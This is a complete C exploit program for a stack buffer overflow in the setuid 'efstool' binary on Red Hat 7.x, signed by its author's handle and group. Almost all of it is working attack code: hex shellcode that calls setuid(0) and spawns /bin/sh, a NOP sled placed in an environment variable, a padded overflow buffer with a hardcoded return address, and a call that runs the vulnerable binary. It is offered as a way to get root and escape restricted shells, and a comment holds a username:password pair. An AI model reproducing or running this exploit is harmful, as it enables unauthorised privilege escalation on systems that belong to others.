/* efstool Local root exploit for redhat */
/* Requires efstool to be +s for root exploitation */
/* A good way to break from restricted Shells... */
/* Tested on Redhat 7.1/2/3 */

/* c0w_d0g3@yahoo.co.uk */
/* uk2sec */
/* http://oakey.no-ip.com:82/uk2sec/ */
/* kiddie:password */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* c0w_d0g3@yahoo.co.uk */
/* Include libraries */

/* This is LINUX setuid /bin/sh shellcode */


int main()
{

char linuxshellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x16\x31\xdb\x31\xc9\xf7\xe1"
"\x5b\xb0\x0b\x88\x53\x07\x52\x53"
"\x89\xe1\xcd\x80\xb0\x01\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

unsigned long sp(void)
{ __asm__("movl %esp, %eax"); } 

/* This returns the stack pointer and lets us put it into esp*/

char buffer[3000];
long esp = sp();
long retaddr = 0xbfffff8a;  /* The return address */
int padding = 2684;
char shell[512];

printf("c0w_d0g3 uk2sec\n");
printf("\nThis is a local exploit for /usr/bin/efstool\n");
printf("\nEnsure efstool is +s or you'll not get far\n");
printf("\n  The stack pointer is at    : %x\n", esp);
printf("    The return address is at  : %x\n", retaddr);

/* Building the buffer */

bzero(&buffer, sizeof(buffer));
memset(buffer,'A',padding); //size of buffer
*(unsigned long *)(buffer+strlen(buffer))=retaddr; //return address
printf("\nthe ret is : 0x%x", retaddr);
memset(shell,0x90,100);
memcpy(&shell[100-strlen(linuxshellcode)],linuxshellcode,strlen(linuxshellcode)); 
memcpy(shell,"SHELLCODE=",10); 
putenv(shell); 

execl("/usr/bin/efstool", "efstool", buffer, NULL);

}